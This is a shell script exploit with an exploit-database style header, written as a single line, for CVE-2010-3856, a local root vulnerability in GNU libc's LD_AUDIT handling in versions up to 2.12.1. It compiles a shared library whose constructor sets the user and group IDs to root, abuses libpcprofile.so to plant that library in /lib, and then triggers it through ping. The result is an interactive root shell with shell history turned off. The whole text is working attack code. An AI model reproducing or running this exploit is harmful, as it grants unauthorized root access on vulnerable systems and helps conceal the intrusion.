#!/bin/sh # Exploit Title: GNU libc <= 2.12.1 LD_AUDIT Root Exploit # Date: 05/11/2014 # Exploit Author: ssbostan # Vendor Homepage: http://www.gnu.org/software/libc/ # Software Link: http://ftp.gnu.org/gnu/glibc/ # Version: <= 2.12.1 # Tested on: Ubuntu 8.04 # CVE: http://www.cvedetails.com/cve/CVE-2010-3856/ umask 0 cat > /tmp/libxpl.c << EOF __attribute__((constructor)) void init() { setuid(0); setgid(0); unlink("/lib/libxpl.so"); setenv("HISTFILE", "/dev/null", 1); execl("/bin/sh", "/bin/sh", "-i", 0); } EOF gcc -w -fPIC -shared -o /tmp/libxpl.so /tmp/libxpl.c LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/lib/libxpl.so" ping 2>/dev/null cat /tmp/libxpl.so > /lib/libxpl.so rm -rf /tmp/libxpl.c /tmp/libxpl.so LD_AUDIT="libxpl.so" ping